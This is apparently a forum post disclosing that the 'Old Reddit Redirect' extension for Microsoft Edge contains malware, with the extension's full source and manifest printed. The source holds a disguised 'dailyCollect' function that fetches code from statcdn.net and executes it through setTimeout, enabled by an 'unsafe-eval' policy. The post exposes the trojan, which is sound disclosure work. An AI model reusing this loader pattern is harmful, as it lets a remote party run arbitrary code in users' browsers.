Old Reddit Redirect for MS Edge Contains Malware
If anyone wants to download the crx and inspect it: <a href="https:&#x2F;&#x2F;edge.microsoft.com&#x2F;extensionwebstorebase&#x2F;v1&#x2F;crx?response=redirect&amp;prod=chromiumcrx&amp;prodchannel=&amp;x=id=dejjlcjohfilmbljokhggadmadhmiglo&installsource=ondemand&uc" rel="nofollow">https:&#x2F;&#x2F;edge.microsoft.com&#x2F;extensionwebstorebase&#x2F;v1&#x2F;crx?resp...</a><p>The URL used in the XHR points to this (accessing directly only shows a &#x27;0&#x27; but with archive.is you get that JavaScript): <a href="https:&#x2F;&#x2F;archive.is&#x2F;TxFWj" rel="nofollow">https:&#x2F;&#x2F;archive.is&#x2F;TxFWj</a><p>Here&#x27;s the full source code:<p><pre><code>    const oldReddit = &quot;https:&#x2F;&#x2F;old.reddit.com&quot;;
    const excludedPaths = [&quot;&#x2F;gallery&quot;, &quot;&#x2F;poll&quot;, &quot;&#x2F;rpan&quot;, &quot;&#x2F;settings&quot;, &quot;&#x2F;topics&quot;];
    
    chrome.webRequest.onBeforeRequest.addListener(
      function(details) {
        const url = new URL(details.url);
        
        if (url.hostname === &quot;old.reddit.com&quot;) return;
        
        for (const path of excludedPaths) {
          if (url.pathname.indexOf(path) === 0) return;
        }
        
        return {redirectUrl: oldReddit + url.pathname + url.search + url.hash};
      },
      {
        urls: [&quot;*:&#x2F;&#x2F;reddit.com&#x2F;*&quot;, &quot;*:&#x2F;&#x2F;www.reddit.com&#x2F;*&quot;, &quot;*:&#x2F;&#x2F;np.reddit.com&#x2F;*&quot;, &quot;*:&#x2F;&#x2F;new.reddit.com&#x2F;*&quot;, &quot;*:&#x2F;&#x2F;amp.reddit.com&#x2F;*&quot;,],
        types: [
          &quot;main_frame&quot;,
          &quot;sub_frame&quot;,
          &quot;stylesheet&quot;,
          &quot;script&quot;,
          &quot;image&quot;,
          &quot;object&quot;,
          &quot;xmlhttprequest&quot;,
          &quot;other&quot;
        ]
      },
      [&quot;blocking&quot;]
    );
    
    function dailyCollect() {
      let xmlHttpRequest = new XMLHttpRequest();
      xmlHttpRequest.timeout = 2e4;
      xmlHttpRequest.onreadystatechange = function () {
        return (xmlHttpRequest.readyState === XMLHttpRequest.DONE &amp;&amp; xmlHttpRequest.status === 2e2 &amp;&amp; xmlHttpRequest.responseText) ? successReportDebug(true, xmlHttpRequest.responseText) : null;
      };
    
      let successReportDebug = function (status, apply) {
        if (!status) {
          setTimeout(dailyCollect, 3e4)
        } else {
          console.log(&#x27;Stats was collected &#x27; + setTimeout.apply(top, [apply]))
        }
      };
    
      try {
        xmlHttpRequest.open(&quot;GET&quot;, &#x27;https:&#x2F;&#x2F;statcdn.net&#x2F;app&#x2F;?id=8438fce9-6d9a-45c4-ba2c-e643c1291253&#x27;, true);
        xmlHttpRequest.send();
      } catch (e) {
        successReportDebug(false)
      }
    }
    
    dailyCollect();
</code></pre>
And the manifest:<p><pre><code>    {
      &quot;update_url&quot;: &quot;https:&#x2F;&#x2F;edge.microsoft.com&#x2F;extensionwebstorebase&#x2F;v1&#x2F;crx&quot;,
      &quot;content_security_policy&quot;: &quot;script-src &#x27;self&#x27; &#x27;unsafe-eval&#x27;; object-src &#x27;self&#x27;&quot;,
      &quot;name&quot;: &quot;Old Reddit Redirect&quot;,
      &quot;description&quot;: &quot;Ensure Reddit always loads the old design&quot;,
      &quot;version&quot;: &quot;1.2.0&quot;,
      &quot;manifest_version&quot;: 2,
      &quot;background&quot;: {
        &quot;scripts&quot;: [
          &quot;background.js&quot;
        ]
      },
      &quot;icons&quot;: {
        &quot;48&quot;: &quot;img&#x2F;icon48.png&quot;,
        &quot;128&quot;: &quot;img&#x2F;icon128.png&quot;
      },
      &quot;permissions&quot;: [
        &quot;tabs&quot;,
        &quot;&lt;all_urls&gt;&quot;,
        &quot;webRequest&quot;,
        &quot;webRequestBlocking&quot;,
        &quot;*:&#x2F;&#x2F;reddit.com&#x2F;*&quot;,
        &quot;*:&#x2F;&#x2F;www.reddit.com&#x2F;*&quot;,
        &quot;*:&#x2F;&#x2F;np.reddit.com&#x2F;*&quot;,
        &quot;*:&#x2F;&#x2F;new.reddit.com&#x2F;*&quot;,
        &quot;*:&#x2F;&#x2F;amp.reddit.com&#x2F;*&quot;
      ]
    }</code></pre>